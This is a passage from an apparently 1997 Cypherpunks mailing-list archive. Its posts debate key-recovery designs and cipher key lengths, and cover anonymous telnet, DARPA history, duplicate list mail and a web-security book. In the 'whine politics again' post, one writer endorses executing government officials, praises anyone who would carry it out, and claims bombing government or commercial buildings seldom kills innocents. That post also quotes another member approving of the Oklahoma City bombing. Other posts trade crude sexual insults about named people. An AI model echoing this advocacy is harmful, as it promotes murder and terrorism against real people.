the company security officer to decrypt all those documents, which 
are filed in several different places?  Contrast this with just 
restoring the key.

[...]

> You are repeating your fallacy of assuming that the key safe (KS) case has
> one policy for all users and the multiple recipients (MR) case has
> different policies for different users.  The truth is that the two issues
> (which model to use, and how many different policies to make visible to
> the users' software) are orthogonal.  You can have KS with a different key
> safe for each user, and you can have MR with the same extra recipients for
> each user.

The models I have assumed are: KS -- a single keysafe and multiple 
clients; MR -- a single master key generating point, and multiple 
clients.  In the KS model all the clients talk to a single server, 
and there is no policy issue.  In the MR case, if there is a single 
master key there is no policy issue that impacts the clients, but if 
there are multiple master keys then different clients are configured 
differently, according to the policy, and that configuration is 
controlled centrally.

I confess that I hadn't considered the case of multiple keysafes in
the same organization -- and for very large organizations you might
want to do that.  But the whole point of a keysafe is that you
concentrate expense protecting the keysafe, and, in practice, it seems
to me, the boundaries between keysafe domains (to coin a term) would
be pretty well defined.  And, the only policy issue for KS clients is 
which keysafe to talk to.  This is pretty much fixed at installation 
time. 

> > Sigh.  The situations are really quite different.  In the KS
> > case the policy never impacts the software; in the MR case I don't 
> > think you can avoid it.
> 
> Sigh.  The same fallacy again.
> 
> In the KS case, the software must know which key safe to use and how to
> secure and authenticate access to the key safe.
> 
> In the MR case, the software must know which extra recipients to add, and
> the corresponding public keys.
> 
> In both cases, the software is affected to some minimum extent.  In both
> cases, you can choose to make the software more complex by adding more
> policy knowledge.  In neither case are you forced to add more than the
> minimum amount of policy information to the software.

You *could* design a system with multiple distributed keysafes, 
perhaps in an effort to minimize exposure, but I think this would be 
the worst of both worlds.

> > > > Access to the key-safe is critical, of course, but it can be made very
> > > > secure -- a special-purpose piece of hardware that requires passwords
> > > > from n out of m key czars before access is granted, for example.
> > > > Or the contents of the key safe can be encrypted via keys escrowed
> > > > through a secret sharing mechanism
> > > 
> > > The same problems and solutions apply in both the CAK case and in the
> > > "corporate key as extra crypto recipient" case.
> > 
> > Not at all. The corporate master key is used to decrypt documents in the 
> > MR case; in the KS case the master key is used to get to the key 
> > database.
> 
> What I meant was, you can make n-of-m hardware stuff for both cases.
> Surely you don't disagree with that?

I don't disagree that you *could* do it.  I think it unlikely that you
would do it for the multiple recipient case.  I believe that in the MR
case the master key(s) (especially if there are multiple master keys)
would use exactly the same encryption algorithm as the normal
encryption case.  That is the obvious, straightforward way to do it. 
If you use another encryption algorithm for the master then you have a
whole raft of other problems to deal with.

And it would be crazy to require the presence of N people to decrypt 
any file with the master key -- consider the case of your secretary...

> > >   - With CAK, every time a user creates a new key, the user's software
> > >     needs to talk to teh key safe.  This needs a secure channel, which
> > >     raises further authentication problems (how does the user know that
> > >     he's not talking to a fake key safe).  These don't arise in the
> > >     non-CAK case.
> > 
> > Not so.  You have to exactly the same issue -- how does the user find 
> > out the master key to encrypt to?
> 
> Finding out which key to encrypt to in the MR case is analagous to finding
> out which key safe to talk to in the KS case.  Securing and authenticating
> the channel to the key safe in the KS case is an extra issue that does not
> have a counterpart in the MR case.

??  How do you know that the channel through which you get the master 
key in the MR case is secure?  You surely don't just pull it off the 
net.  It's signed?  Then the problem just recurses -- how do you know 
the signature is good?  This is exactly the problem you have 
contacting the keysafe.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From stewarts at ix.netcom.com  Mon May 12 23:33:38 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Tue, 13 May 1997 14:33:38 +0800
Subject: List of Explosives
In-Reply-To: <1.5.4.32.19970511032328.0088aeb0@pop.pipeline.com>
Message-ID: <3.0.1.32.19970512225720.00740e50@popd.ix.netcom.com>


At 11:23 PM 5/10/97 -0400, John Young wrote:
>The correct URL for the latest ATF list of explosives:
>
>   http://jya.com/atf042597.xt

The even more explosively correct URL is

	http://jya.com/atf042597.txt

Includes many old favorites, misses a few popular ones, uses inconsistent
forms for a few, and throws in some catchalls like
	Explosive liquids.
	Explosive powders.
(but surprisingly, not "Explosive gas mixtures"  :-)

-----------------------------------------------------------------------
[Federal Register: April 25, 1997 (Volume 62, Number 80)]
[Notices]
[Page 20242-20244]
>From the Federal Register Online via GPO Access [wais.access.gpo.gov]
[DOCID:fr25ap97-106]
-----------------------------------------------------------------------


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From adam at rosa.com  Mon May 12 23:35:41 1997
From: adam at rosa.com (Adam Philipp)
Date: Tue, 13 May 1997 14:35:41 +0800
Subject: Telnet Anonymous
In-Reply-To: 
Message-ID: <3.0.1.32.19970512230937.00a871f0@mail.infonex.com>


At 08:34 AM 5/12/97 -0500, harka at nycmetro.com wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>E-Mail...NYM-Servers
>WWW...Anonymizer
>Telnet...??
>
>How does one telnet anonymously to another system, assuming that
>one's home system has identd?
>
>Thanks already in advance...

Did you look at getting an anonymous account at cyberpass.net? 

Try http://www.cyberpass.net

Note, they tend to be strict about not using it for illegal activity, but
highly supportive for general anonymous use.

Then again you could set up some type of applet scheme, but I doubt anyone
would be willing to keep it active. 


	Adam, Esq.

-- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\
| My PGP key is available on my  |Unauthorized interception violates |
| home page: http://www.rosa.com |federal law (18 USC Section 2700 et|
|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-|seq.). In any case, PGP encrypted  |
|SUB ROSA...see home page...     |communications are preferred for   | 
|     -=[ FUCK THE CDA]=-        |sensitive materials.               |
\=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-/
If A is a success in life, then A = x + y + z. Work is x; y is play; 
and z is keeping your mouth shut. Albert Einstein (1879-1955)






From harka at nycmetro.com  Mon May 12 23:38:28 1997
From: harka at nycmetro.com (harka at nycmetro.com)
Date: Tue, 13 May 1997 14:38:28 +0800
Subject: DARPA & Networking
Message-ID: 


-----BEGIN PGP SIGNED MESSAGE-----

May be of interest:

== Forwarded Message Follows =======================================
From: Amnon Till 
To: gsunet-l at bgu.edu
Subject: The DARPA site

http://www.arpa.mil/

DARPA is the Defence Advanced Research Projects Agency. We all
know that DARPA initiated in the late 60's project ARPA, which was
omne of the current internet's roots.

If we want to read more about DARPA, its projects, mission statements
history etc etc this is your site.

Bye
Amnon
amnont at beitberl.beitberl.ac.il

- ------------------------------

Date: Sat, 10 May 97 09:20:19 -0000 (B+2)
From: Amnon Till 
To: gsunet-l at bgu.edu
Subject: The future of Networking Technologies for learning

http://www.ed.gov/Technology/Futures/

This site was put by the US Dept. of Edu. office of Edu. Technology.
It is a series of papers & workshops dealing with the subject of the
futuristic use of networking in education written by several experts in
this area.

Bye
Amnon
amnont at beitberl.beitberl.ac.il

======================================================================

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
... "Use a cipher - be free!"

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Version: 2.6.2

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Hv0sQzR6XFugJY/TAcWgDWfczjg5QsDhq5rWcfI5pVtLydiOxBM7fA==
=i+Qz
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...







From tcmay at got.net  Tue May 13 00:11:43 1997
From: tcmay at got.net (Tim May)
Date: Tue, 13 May 1997 15:11:43 +0800
Subject: DARPA & Networking
In-Reply-To: 
Message-ID: 


At 11:16 PM -0800 5/12/97, harka at nycmetro.com wrote:

>== Forwarded Message Follows =======================================
>From: Amnon Till 
>To: gsunet-l at bgu.edu
>Subject: The DARPA site
>
>http://www.arpa.mil/
>
>DARPA is the Defence Advanced Research Projects Agency. We all
>know that DARPA initiated in the late 60's project ARPA, which was
>omne of the current internet's roots.
>
>If we want to read more about DARPA, its projects, mission statements
>history etc etc this is your site.

I'm not sure why this is of much interest to our list...ARPA/DARPA being
old news and all.

DARPA did not "intiate project ARPA" (??). Rather, the names have just
changed a couple of times. ARPA was changed to DARPA in 1969-70, in
accordance with the Mansfield Amendment's dictate that research be more
militarily directed.

A few years ago the name DARPA was changed back to ARPA. (But, last I heard
it was back to being DARPA again.)

There's an entertaining new book, "Where Wizards Stay Up Late," by Katie
Hafner, which describes some of the history of the ARPANet. (My university
was one of the first four nodes, so I had a primitive ARPANet account in
1973.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From apb at iafrica.com  Tue May 13 01:28:24 1997
From: apb at iafrica.com (Alan Barrett)
Date: Tue, 13 May 1997 16:28:24 +0800
Subject: key recovery vs data backup
In-Reply-To: <19970512230928.46454@bywater.songbird.com>
Message-ID: 


On Mon, 12 May 1997, Kent Crispin wrote:
> > What I meant was, you can make n-of-m hardware stuff for both cases.
> > Surely you don't disagree with that?
>
> I don't disagree that you *could* do it.  I think it unlikely that you
> would do it for the multiple recipient case.  I believe that in the
> MR case the master key(s) (especially if there are multiple master
> keys) would use exactly the same encryption algorithm as the normal
> encryption case.  That is the obvious, straightforward way to do it.
> If you use another encryption algorithm for the master then you have a
> whole raft of other problems to deal with.

You can have the same algorithm (visible at the user side) whether or
not you have special hardware for protecting the private half of the key
pair from exposure.

> > Finding out which key to encrypt to in the MR case is analagous to
> > finding out which key safe to talk to in the KS case.  Securing and
> > authenticating the channel to the key safe in the KS case is an
> > extra issue that does not have a counterpart in the MR case.
>
> ?? How do you know that the channel through which you get the master
> key in the MR case is secure?  You surely don't just pull it off the
> net.  It's signed?  Then the problem just recurses -- how do you
> know the signature is good?  This is exactly the problem you have
> contacting the keysafe.

Knowing the right key in the MR case is static information, analagous
to knowing the network address of the key safe in the KS case.  For
example, in the MR case, the key could be distributed on a floppy disk
along with the special software, while in the KS case the location
of the key safe could be so distributed.  OK, you also need a way of
changing the (MR) key or of moving the (KS) key safe, but that doesn't
happen often and similar issues would appear to arise in either case.

But in the KS case, there would also need to be a mechanism to protect
the channel between the user and the key safe every time the channel is
used, and that extra mechanism does not appear to have a counterpart in
the MR case.  Not really a big deal, but it is a whole extra protocol to
be designed.

--apb (Alan Barrett)






From adam at homeport.org  Tue May 13 05:22:39 1997
From: adam at homeport.org (Adam Shostack)
Date: Tue, 13 May 1997 20:22:39 +0800
Subject: `careerpunks'
Message-ID: <199705131158.HAA20185@homeport.org>




Adam Back wrote:
> Seems to me many of the `cypherpunks' have become `careerpunks' and
> are now more interested in trading crypto tips, trade gossip, than in
> cypherpunks projects.
> 
> They went through the phase of buying kewl domain names (take a look
> down the subscriber lists), tinkering with remailers, and have now
> graduated to making money from crypto consulting, and lost interest in
> the issues where they don't add to the bottom line.

	I disagree with your analysis.  I'm working for a number of
large companies as a consultant.  At each of them, I think I've done
things that substantially imrpove customer privacy.  At one, I may
have sold them on role certificates "This certifies that the bearer
can access account 345567734545435."  As opposed to "This is John
Smith."  I think thats a huge win for privacy advocates, and hey, it
saves them work and money to do it this way.  I could not have
convinced these people by posting to cypherpunks.

	Selling your services does not involve selling out.

Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From adam at homeport.org  Tue May 13 05:23:35 1997
From: adam at homeport.org (Adam Shostack)
Date: Tue, 13 May 1997 20:23:35 +0800
Subject: The War is Underway (fwd)
In-Reply-To: 
Message-ID: <199705131154.HAA20161@homeport.org>


Black Unicorn wrote:

| > Systems that use randomly generated keys are
| > limited only by the amount of available entropy, but then the passphrase
| > security to encrypt the secret key or physical security become important.
| > Using excessively long keys does not do much for security, as there are
| > always going to be weaker links that an attacker can take advantage of.
| > It doesn't hurt to use a 256-bit key, or larger, but it doesn't do much
| > good, either.
| 
| Again, you have taken an important concept, total security, and reversed
| it.  Instead of aiming to make each link as strong as possible, you have
| aimed to design around the weakest link.
| 
| This is a serious mistake in my view.

	I disagree with your approach.  In the real world, budgets are
limited, time is limited, the pool of really decent people on any
given project is small.  Fixing or strengthening the weakest link is
my usual approach to these things.  Not as nice as having a
bulletproof design from the start, but there aren't enough smart
cypherpunks out there consulting.  (More on that in another post.)

| It costs little today to develop a cipher with larger keyspace.  (DES with
| independent subkeys already exists and has a basic keyspace of 768 bits.
| A meet in the middle attack reduces keyspace to 2^384.  Schneier discusses
| the cipher briefly).  If users are willing to deal with large keys (I
| certainly am) then software designers are restraining a more secure
| implementation.

	It takes an academic cryptographer about 6 months to develop a
cipher.  Most academics don't see a point to moving beyond the 448
bits available in Blowfish.

Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From spectre at nac.net  Tue May 13 07:18:21 1997
From: spectre at nac.net (The Spectre)
Date: Tue, 13 May 1997 22:18:21 +0800
Subject: Dr. Vulis
Message-ID: <13510758714442@nac.net>


-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: cypherpunks at toad.com
Date: Tue May 13 09:55:34 1997

> Dimi (Closet Homo) isa pimply old dweeb sitting at a  Xenix 286
> computer masturbating at his own imagined cleverness.
>  

This is the down side to anonymous remailers.. I think if you don't have 
the balls to say something, don't say it.

Obviously, someone is saying something they don't wan't other people to 
think they think..

I am, obviously, tired of adding filters to my mailbox.  Please knock off 
this bullshit.  I think whoever posted this is a pimply young asshole 
sitting on a c64 attempting to masturbate himself but can't find a 
microscope with high enough magnification.

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From paul at fatmans.demon.co.uk  Tue May 13 07:37:40 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Tue, 13 May 1997 22:37:40 +0800
Subject: whine politics again
In-Reply-To: <199705111833.LAA28472@f33.hotmail.com>
Message-ID: 




> on the subject of wine-importing restrictions in florida:
> 
> tcmay wrote:
> > Chiles and his co-conspirators should be shot for high crimes > against the
> > Constitution. After Clinton, Freeh, Kerrey, and the other traitors.
> > 
> > Every day that passes, I'm more convinced that McVeigh did the right > thing.
> > Some innocents died, but, hey, war is hell. Broken eggs and all > that.
> 
> oh yaah.  you betcha.
> 
> it's illegal to ship wine to floridans now, so therefore it is okay 
> to execute the responsible officials and blow up innocents.

The blowing up of innocents is something no-one on this list would agree 
with were it not entirely necessary. Indeed I myself would have great 
problems in justifying the killing of even 1 innocent person by calling 
the fight for liberty "war".

Execution of the responsible officials would be no crime. I applaud the 
sentiments of those who support this viewpoint, and would respect the 
bravery and fortitude of anyone who carried out such an act, provided 
they recognised the necessary step of taking precautions against injuring 
innocent bystanders (tm).

> no doubt there are hundreds of cypherpunks out there nodding
> their heads in blithe agreement at this point.

Of course, but you have twisted this point to imply that Tim meant to say 
the killing of innocents was something to be "brushed aside" as a 
necessary step. Maybe Tim does feel that the loss of a few innocent lives 
in a war situation is justifiable, I have problems with this and have 
said so in previous posts, but I can see the logic behind it, this seems 
to me a very slippery and difficult question to answer, YMMV.

> HELLO PEOPLE!  buy a clue from the Discount Clue Store, and 
> while you are out, stop by the Jiffy Lube and get your
> common human decency refilled.

Common human decency, almost like common sense, the metaphysics of savages.

Your definition of common human decency must be fatally flawed if you 
believe the actions of the criminal bureacrats in the system do not 
justify the executions of these evil officials. It is merely an act of 
self defence to execute people who violate the rights of other people. 

You are the one who seems to need to get the proverbial clue, If you 
merely mean to say that the killing of innocents in the name of "war" is 
not justifiable, then I have a great deal of sympathy and a certain 
amount of agreement with your point of view, if you mean to say that the 
execution of those who violate our rights is not justified as a form of 
self defence or even as a form of punishment for their crimes then you 
could not be further from the truth.

Also, on a slightly more practical point, as I have said, if one was to 
bomb any major commercial or government building the chances of killing a 
truly innocent person are fairly small anyway.







From stewarts at ix.netcom.com  Tue May 13 07:51:07 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Tue, 13 May 1997 22:51:07 +0800
Subject: CAK/GAK center, "first and only U.S. Govnt. approved"
In-Reply-To: <199705122207.PAA11242@fat.doobie.com>
Message-ID: <3.0.1.32.19970513001850.007819f8@popd.ix.netcom.com>


At 03:07 PM 5/12/97 -0700, Huge Cajun Remailer wrote:
> http://www.sourcefile.com
>
>Just how many "authorized personnel" are there, and who all is paying
>them to do what?

Only their Accounts Receivable Department knows for sure :-)
They seem to be mostly in the source code escrow business.

It's amusing that they've Service-Marked the phrase
	"Trusted Third Party (sm)".
We'll see how long that lasts :-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From paul at fatmans.demon.co.uk  Tue May 13 07:56:38 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Tue, 13 May 1997 22:56:38 +0800
Subject: The Interlinked Cypherpunks Lists?
In-Reply-To: 
Message-ID: 




> bounce (more precisely: "... Deferred:
> Connection timed out with rigel.cyberpass.net. Warning: message still
> undelivered after 4 hours").

I too didn`t see some of my articles come through, I`m subscribed to 
cyberpass.net, Your copied traffic appears to have come through now 
though. When I did have trouble sending I pinged cyberpass.net and it was 
up, so I presume it was just a majordomo problem.

> * Is it possible for the interlinked lists to send out announcements of
> list problems to subscriber of all such lists? (Each list owner could do a
> periodic "who cypherpunks" of the other lists, then use this list to send a
> message if a problem comes up. More sophisticated cross-processing could
> eliminate duplicates, etc.)

Yes, I still get a LOT of duplicates, after checking several times that 
I was only subscribed to one list. I`m not running procmail at the moment 
(still playing with linux) and I seem to remember the duplicates nearly 
always have *different* message IDs, is there a procmail recipe to kill 
these?

> * Alternatively, if one of the sites goes down, such as
> "cypherpunks at cyberpass.net" seems to have done, could the other sites
> automagically pick up the task of distributing articles until the site
> comes back up?

This would be an excellent idea, if the sites kept a "who cypherpunks" 
on each other they could do a ping every hour or so to check the site was 
up and if not add the users in the "who" list to their subscriber list.
Is this possible with majordomo or some sort of script, list operators? 

> * How feasible is it to have a single "virtual subscription address" which
> gets traffic from one of the various list sites? (To avoid having to
> subscribe to two or more lists and thus getting duplicates.)

Hmm, this rather kills the idea of a distibuted system which is 
impossible to censor. I know this isn`t really a necessary system as I`m 
sure we all trust the list operators who run the sites, but it is a very 
cypherpunk idea and I rather like seeing it in action.

I can see problems with the current system, most notably the duplicates, 
but if these can be either killfiled on reciept, or even better, tweaking 
of the majordomos can remove them at source, the system will be very 
stable and useable, as it is the duplicates are not too great a problem, 
just an annoying quirk of the system, but it would be nice to see the 
back of them. 

This message is probably off topic as it talks about practical use of 
technology as opposed to ethics and blowing up poloticians, in which case 
I appologise, back to ranting and anarchism ;-)






From rubin at research.att.com  Tue May 13 08:00:57 1997
From: rubin at research.att.com (Avi Rubin)
Date: Tue, 13 May 1997 23:00:57 +0800
Subject: Announcing: a new John Wiley book on Web Security
Message-ID: <199705131345.JAA06712@mgoblue.research.att.com>



                 Announcing: The Web Security Sourcebook 
                        (John Wiley & Sons, Inc.)

                  by Avi Rubin, Dan Geer, Marcus Ranum

                       foreward by Steve Bellovin


A new book on all aspects of web security. More information can be 
found at http://www.clark.net/pub/mjr/websec/



*********************************************************************
Aviel D. Rubin                                 rubin at research.att.com
Secure Systems Research Dept.                Adjunct Professor at NYU
AT&T Research Labs
180 Park Avenue                   http://www.research.att.com/~rubin/
Florham Park, NJ 07932-0971                    Voice: +1 973 360-8356
USA                                            FAX:   +1 973 360-8809






From hodgepodge at nym.alias.net  Tue May 13 08:02:30 1997
From: hodgepodge at nym.alias.net (Hodge Podge)
Date: Tue, 13 May 1997 23:02:30 +0800
Subject: Copy of: UK TTP Paper - For Your Information
Message-ID: <19970513145014.13839.qmail@nym.alias.net>


-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 12 May 1997 Theodor.SCHLICKMANN at BXL.DG13.cec.be wrote:

> As further discussed in the answer to question 4, we can 
> confirm that we do not propose that the user be required to escrow his 
> private signature key (however generated) with a TTP. 
[snip]
> If, however, the TTP either generates the 
> confidentiality key pair for a user,  or, for example, certifies a 
> self-generated public key for confidentiality, then escrow of the 
> associated private key would be required under our proposals. 

This doesn't make much sense to me. If I were to use such a UTP[*]
then I'd simply get my signature key authenticated and then use that to
sign all my encryption keys rather than getting the UTP to sign them. So 
I'd get the benefits of a recognized authentication on my keys without 
having to worry about key surrender to governments. We don't _need_ to
have anyone authenticate our encryption keys, just the signature keys.

Or am I missing something? (Other than the obvious fact that this is just
the thin end of the wedge)

- -- HP

[*] UTP == Untrusted Third Party


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From rah at shipwright.com  Tue May 13 08:03:49 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Tue, 13 May 1997 23:03:49 +0800
Subject: e$: You get what you pay for
In-Reply-To: <3.0.32.19970512214932.006d4e8c@cnw.com>
Message-ID: 


At 12:50 am -0400 on 5/13/97, Blanc wrote:
> Robert Hettinga wrote:
>
> >Ah. A 90's version of Freddy Hayek's "Road to Serfdom", maybe?
> >A turn-of-the-new-century Phabian Society needs a Stalin to make it's
> >dreams reality?
> >
> >Be careful what you wish for, ladies and germs...
> .............................................................
>
>
> Well, now, what exactly do you mean?   How does this relate to bombing a
> village, with all its communists & captives, out of existence?

I was expanding on your riff, a bit, I guess.

I suppose that intellectual ruminations, including my own on occasion here
in cypherpunks, are all well and good, but when it comes time to put the
rubber to the road, or in flames around the oppressor's neck, or whatever,
people usually don't get what they think they want, um, other people to do
for them. Which is Hayek's point, as demonstrated by England's Phabian
Society, which probably did more to advance the cause of Stalin than Lenin
ever did. :-).

After such episodes of political "success", there is a *reason* most of us,
as the esteemed Mr. Townsend once said, "...get on [our] knees and pray we
don't get fooled again...".

I think that strong cryptography, especially strong financial cryptography,
is going to create a world we'll scarcely recognize in 100 years, or maybe
even 30 years. Not because of politically motivated violence, but of
economic necessity.


Yeah, I know. Economic necessity sometimes creates politically motivated
violence. And, at the heart of that is a paradox, as juicy a paradox as
well meaning victorian British socialists apologising in advance for the
behavior of a totalitarian Russian monster 50 years later.

When you think about it, the events of 1789 France, or post-Weimar Germany,
or even post-Tito (nee' Soviet) Yugoslavia, all came after the crises which
supposedly caused them were pretty much over, and people had the brainspace
to think about how pissed off they should be about it.

The Pelleponesian War was probably more about Athens slacking off her
Delian League repression (the introspective episode in intellectual
potlatch we now call the "golden age" of Athens) than her later genocidal
punishment of a vassal state for not coughing up the requisite League dues.

There was a study of  um, urban cub scouts, lately, which talked about how
it wasn't the *lack* of self-esteem which caused extremely violent gang
behavior, so much as it was, ironically, too *much* self-esteem. There's
nothing so self-confident as a 14 year old with an AK or a Mac10(?), as any
resident of Beruit, or Chicago, or Mogadishu, or Monrovia, or, now, Tirana,
will gladly tell you. Much hubris goes before the fall of domestic
tranquility. :-).


Anyway, when I'm prone to worry about such things, I think, depending on my
mood and the weather,  that either the government is getting so powerful
that we're going to have to fight back some day, or that it really isn't so
powerful anymore, and now the more cocky of us think we can stand up to it
and fight back in redress for its past sins, real and imaginary. Remember
that dear Uncle *has* demobilized considerably. Mr. McVeigh himself is
someone who would now be cheerfully blowing up things in Special Forces
practice somewhere, if he had more practice time and running room at the
selection process before he was economically demobilized after his heroic
exploits in Kuwait.


One of the fun consequences of having a large standing army, of course, is
what do you do with the, um, standees, when you can't afford to feed and
train them any more. I'd bet that a large percentage of the Russian "Mafia"
are former soldiers, and certainly spook/torturers, just doing what comes
naturally.

In this regard, I think that America lucked out after WWII because lots of
its sharply increased industrial, um, womanpower, could step aside so
Johnny could come marching home to a job in the factory down the street.
The GI bill mopped up the rest of the slack(ers) by putting the brighter
and more easily bored safely away in college for a few years :-). In a few
years, everyone had a wife, 2.2 kids and a mortgage to worry about instead
of the injustice of encroaching government power. Problem solved.

We may be reaping what we've sown after the 50-Year War with Russia,
though. This time it may not be so easy, because people like Mr. McVeigh
are not people who went off to fight a war to return immediately after the
shooting stopped, but, people who, like our politicians, are now
careerists. Lifers. Empire builders, in the truest sense of the phrase.
People who, it now appears, are as pissed off at dear Uncle as the rest of
us are, though for different reasons, all their manifestoes and
rationalizations to the contrary.

Unfortunately, we can't use the economic rent we've beaten out of the rest
of the world this time to put them to work at something else, especially
because no matter what we hire them for, it isn't the thing they were
selected and trained over a lifetime to do. More to the point, something
they expected to do for the rest of their working lives.

Oh, well. Life is hard. Sometimes you don't get what you want, to
paraphrase a fellow tradesman of Mr. Townsend. Or, as my nephews' governess
used to say, sometimes you don't have to wanna. So, though I'm not to the
"beware soft targets" stage yet, it's good advice in almost any age, and
should be paid attention to.


Finally, my own hope for stuff like financial cryptography in this regard
is that it will make so much money, wringing the required economic rent out
of progress rather than the comparative devastation of the rest of the
world, that we'll be able to "bribe" all those demobilized spooks and
soldiers to leave us alone, much the same way that Harry and Ike did with
the creation of the middle-class entitlement state. Without, of course, the
"state" part.

I think that such hopes are at least justified. History has shown us that
there is nothing like a whole bunch of technological and economic progress
to focus people on better stuff than blowing up themselves and their
enemies. Modulo the odd paradox, of course.

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From unicorn at schloss.li  Tue May 13 08:29:25 1997
From: unicorn at schloss.li (Black Unicorn)
Date: Tue, 13 May 1997 23:29:25 +0800
Subject: The War is Underway (fwd)
In-Reply-To: <199705131154.HAA20161@homeport.org>
Message-ID: 


On Tue, 13 May 1997, Adam Shostack wrote:

> Black Unicorn wrote:
> 
> | > Systems that use randomly generated keys are
> | > limited only by the amount of available entropy, but then the passphrase
> | > security to encrypt the secret key or physical security become important.
> | > Using excessively long keys does not do much for security, as there are
> | > always going to be weaker links that an attacker can take advantage of.
> | > It doesn't hurt to use a 256-bit key, or larger, but it doesn't do much
> | > good, either.
> | 
> | Again, you have taken an important concept, total security, and reversed
> | it.  Instead of aiming to make each link as strong as possible, you have
> | aimed to design around the weakest link.
> | 
> | This is a serious mistake in my view.
> 
> 	I disagree with your approach.  In the real world, budgets are
> limited, time is limited, the pool of really decent people on any
> given project is small.  Fixing or strengthening the weakest link is
> my usual approach to these things.  Not as nice as having a
> bulletproof design from the start, but there aren't enough smart
> cypherpunks out there consulting.  (More on that in another post.)

I conceed this general point, but in context it does not stand up.
Specifically we were referring to the trade off between cipher keylength
and password size.

It was proposed that because people were unlikely to deal with passwords
large enough to fill the key with e.g., 128 bits of entropy, that it was
worthless to bother with 128 bit symetric ciphers.  I find this a hard
position to support.

> 
> | It costs little today to develop a cipher with larger keyspace.  (DES with
> | independent subkeys already exists and has a basic keyspace of 768 bits.
> | A meet in the middle attack reduces keyspace to 2^384.  Schneier discusses
> | the cipher briefly).  If users are willing to deal with large keys (I
> | certainly am) then software designers are restraining a more secure
> | implementation.
> 
> 	It takes an academic cryptographer about 6 months to develop a
> cipher.  Most academics don't see a point to moving beyond the 448
> bits available in Blowfish.

Ok, where are the 256+ bit blowfish implementations?

> Adam
> 
> -- 
> "It is seldom that liberty of any kind is lost all at once."
> 					               -Hume

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland
Rebel Directive #7:Avoid soccer games when a government assault threatens.






From sunder at brainlink.com  Tue May 13 08:34:12 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Tue, 13 May 1997 23:34:12 +0800
Subject: Enough of this shit already!
In-Reply-To: <13510758714442@nac.net>
Message-ID: 


On Tue, 13 May 1997, The Spectre wrote:

> To: cypherpunks at toad.com
> Date: Tue May 13 09:55:34 1997
> 
> > Dimi (Closet Homo) isa pimply old dweeb sitting at a  Xenix 286
> > computer masturbating at his own imagined cleverness.
> >  
> 
> This is the down side to anonymous remailers.. I think if you don't have 
> the balls to say something, don't say it.
> 
> Obviously, someone is saying something they don't wan't other people to 
> think they think..
> 
> I am, obviously, tired of adding filters to my mailbox.  Please knock off 
> this bullshit.  I think whoever posted this is a pimply young asshole 
> sitting on a c64 attempting to masturbate himself but can't find a 
> microscope with high enough magnification.

Agreed.  While I will restrain my oppinions of our unfriendly KOTM with a 
doctorate from the KGB, I'm tired of these spams.  Yes, they include the 
ones that IMHO come from Vulis, the ones to which Graham replies, the 
anonymous ones that reply to Graham, the permutations of them that 
spam Toto, and these.  :(

If you want to rag on Tim or Vulis, please do so, but not by setting up 
spam bots.  Granted some of those are funny the first time you see them, 
but automating them makes them as welcome as listening to an annoying fly 
buzzing over and over in your face.

Hell, the nice bomb making spam too is also a bitch being posted here.  
One could give the poster the benefit of the doubt, but it smells quite 
of the tactics used by the Postal fiends that mail child porno to an 
unsuspecting citizen unit, then arrest that citizen unit upon receipt.  
Lets not give the evil onesof the government more horsemen to ride over 
us. :(  A url to the stuff and a summary would have sufficed.  (And I'll 
restrain myself from saying that this was done by Vulis, though IMHO, it 
smells of his style of spam. :)

